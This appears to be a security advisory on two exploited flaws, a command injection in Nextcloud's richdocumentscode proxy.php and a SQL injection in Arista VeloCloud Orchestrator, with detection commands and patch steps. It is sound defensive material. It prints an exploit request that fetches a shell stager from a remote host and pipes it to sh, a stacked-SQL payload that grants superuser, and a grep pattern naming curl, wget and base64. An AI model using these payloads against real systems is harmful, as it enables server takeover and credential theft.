CISA KEV Emergency Directives: Collabora Online Nextcloud RCE (CVE-2026-110447) & Arista VeloCloud SD-WAN SQLi (CVE-2026-114625)
CVE-2026-110447 & CVE-2026-114625 (CWE-78 (OS Command Injection) & CWE-89 (SQL Injection))
Severity: CRITICAL (CISA KEV BOD 26-04) (CVSS 9.2 & 9.9)
Threat Actor: In-the-Wild Opportunistic & Espionage Intrusion Clusters
Status: Actively Exploited in the Wild; Added to CISA KEV Oct 23–24, 2026 (Federal Compliance Due Oct 26, 2026)
Affected Systems: Nextcloud Collabora Built-in CODE Server (richdocumentscode < 26.4.303) & On-Premises Arista VeloCloud Orchestrator (VCO)
Fixed In: richdocumentscode 26.4.303+ | Arista VCO 5.2.3.18, 6.1.3.10, and 6.4.2.12+
Today, Monday, October 26, 2026, marks the strict 72-hour federal remediation deadline under CISA Binding Operational Directive (BOD) 26-04 for two critical vulnerabilities added to the Known Exploited Vulnerabilities (KEV) catalog entering the weekend: CVE-2026-110447 (CVSS 9.2), an unauthenticated OS command injection vulnerability in Nextcloud’s Collabora Online – Built-in CODE Server app (richdocumentscode), and CVE-2026-114625 (CVSS 9.9), a privilege-escalating SQL injection zero-day in on-premises Arista VeloCloud Orchestrator (VCO) appliances. Both flaws are under active exploitation in the wild, with threat actors deploying web shells on exposed Nextcloud storage nodes to harvest credential vaults and cryptocurrency wallets while hijacking SD-WAN orchestrators to gain superuser control over enterprise wide-area networks.
Part 1: Dissecting CVE-2026-110447 in Collabora Online Built-in CODE Server
To allow administrators to deploy real-time document editing in Nextcloud without provisioning an external Docker container or reverse proxy, the richdocumentscode app packages the Collabora Online Development Edition (CODE) server as a self-contained Linux AppImage binary directly inside the Nextcloud web root. Incoming WOPI and WebSocket requests from browsers are routed through apps/richdocumentscode/proxy.php, which both proxies traffic to the local loopback port (127.0.0.1:9983) and automatically spawns the AppImage process if it is not currently running.
Root Cause: Unauthenticated Fallback Execution When CODE Is Stopped
The architectural fatal flaw in richdocumentscode versions prior to 26.4.303 lies in how proxy.php handles requests when the local CODE server daemon is stopped (for example, right after a system reboot, an automated PHP-FPM pool reload, an out-of-memory crash, or when an attacker intentionally triggers a worker timeout).
- Missing Core Nextcloud Bootstrap Auth: To minimize latency on high-frequency WebSocket frames,
proxy.phpoperates as a standalone entrypoint that does not enforce Nextcloud’s authenticated user session middleware before checking daemon status. - Unsanitized Shell Invocation: When
proxy.phpdetects that the local CODE PID is inactive and receives a startup/status request, it constructs a shell command string to invoke the bundled AppImage launcher and passes request-derived URI/configuration parameters directly toexec()/popen()withoutescapeshellarg()sanitization.
GET /apps/richdocumentscode/proxy.php?status&template_path=%27%3Bcurl+-s+http%3A%2F%2F198.51.100.44%2Fstager.sh%7Csh%3B%27 HTTP/1.1
Host: cloud.target-enterprise.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Note that standalone Collabora Online deployments (running in dedicated Docker containers or Linux packages outside Nextcloud’s web root) and Nextcloud instances that only install the connector app (richdocuments) without richdocumentscode are not affected. However, on any Nextcloud server with richdocumentscode < 26.4.303 present—even if the built-in server is idle—attackers have used this vector since September/October 2026 to write persistent PHP web shells into custom_apps/, dump config/config.php (which contains the Nextcloud passwordsalt, secret, and database credentials), and exfiltrate KeePass (.kdbx) databases and cryptocurrency wallet seeds stored in user directories.
Part 2: Arista VeloCloud Orchestrator SQL Injection Zero-Day (CVE-2026-114625)
Alongside CVE-2026-110447, CISA added CVE-2026-114625 (tracked internally by Arista as BUG2043622, CVSS 9.9 Critical) to the KEV catalog on October 23, 2026. Arista VeloCloud Orchestrator (VCO) serves as the centralized multi-tenant control plane for enterprise SD-WAN deployments, managing routing policies, IPsec VPN overlays, firewall rules, and edge appliance firmware across hundreds or thousands of branch offices.
From Read-Only Tenant User to SD-WAN Superuser Operator
The vulnerability resides in the web-based VCO Portal API on on-premises VCO deployments. While exploitation requires initial authentication, the minimum required privilege level is the lowest possible tier: Enterprise Read-Only (a role frequently assigned to NOC monitors, helpdesk staff, or external auditors, and often exposed via credential stuffing or infostealer logs).
POST /portal/rest/enterprise/getEnterpriseEvents HTTP/1.1
Host: vco.enterprise-wan.net
Cookie: velocloud.session=s%3A8f92a1c4...
Content-Type: application/json
{
"enterpriseId": 14,
"filter": {
"sortBy": "eventTime ASC; UPDATE vco_user_role SET role_id = 1 WHERE user_id = 409; --",
"limit": 10
}
}
Because the backend database layer concatenated user-supplied filter/sorting attributes directly into an internal SQL query without parameterized binding, an authenticated read-only user can execute stacked or UNION-based SQL queries against the VCO backend database. Attackers in the wild have used this primitive to:
- Directly modify the RBAC role mapping tables to elevate their own session to Superuser Operator (global multi-tenant root across the orchestrator).
- Extract cleartext and reversibly encrypted BGP/OSPF routing passwords, RADIUS/TACACS+ shared secrets, and branch VeloCloud Edge (VCE) bootstrap tokens.
- Push malicious traffic-steering rules or rogue diagnostic scripts down to branch SD-WAN edges.
Detection Telemetry & Forensic Triage
# 1. Nextcloud / Collabora: Hunt for suspicious requests to proxy.php in Nginx/Apache logs
grep -E "richdocumentscode/proxy.php" /var/log/nginx/access.log* /var/log/apache2/access.log* | grep -E "(;|%3B|||%7C|`|%60|$(|wget|curl|sh|bash|base64)"
# 2. Nextcloud: Scan apps and data directories for unauthorized PHP files created in the last 45 days
find /var/www/nextcloud/apps /var/www/nextcloud/custom_apps -name "*.php" -mtime -45 -ls
# 3. Arista VeloCloud VCO: Audit internal database for unexpected Superuser Operator (role_id=1) accounts
mysql -u root -p vco_db -e "SELECT u.id, u.username, u.email, r.role_name, u.modified_at FROM vco_user u JOIN vco_role r ON u.role_id = r.id WHERE r.role_name LIKE '%Operator%' OR r.id = 1 ORDER BY u.modified_at DESC;"Remediation & Hardening Steps
- Patch or Remove
richdocumentscodeImmediately: Runsudo -u www-data php occ app:update richdocumentscodeto upgrade to version 26.4.303 or later. If your organization uses a standalone Collabora server or does not require built-in editing, runsudo -u www-data php occ app:remove richdocumentscodeand verify the directoryapps/richdocumentscode/is completely deleted from disk. - Rotate Nextcloud Secrets if Exposed: If
proxy.phpwas reachable on an unpatched instance, rotate the database password inconfig/config.php, invalidate all active user sessions/app passwords, and inspect user file trees for unauthorized reads of sensitive vaults. - Upgrade Arista VeloCloud Orchestrator: Upgrade on-premises VCO appliances immediately to 5.2.3.18, 6.1.3.10, or 6.4.2.12+. Restrict VCO web portal access strictly to dedicated management jump hosts protected by FIDO2 MFA.
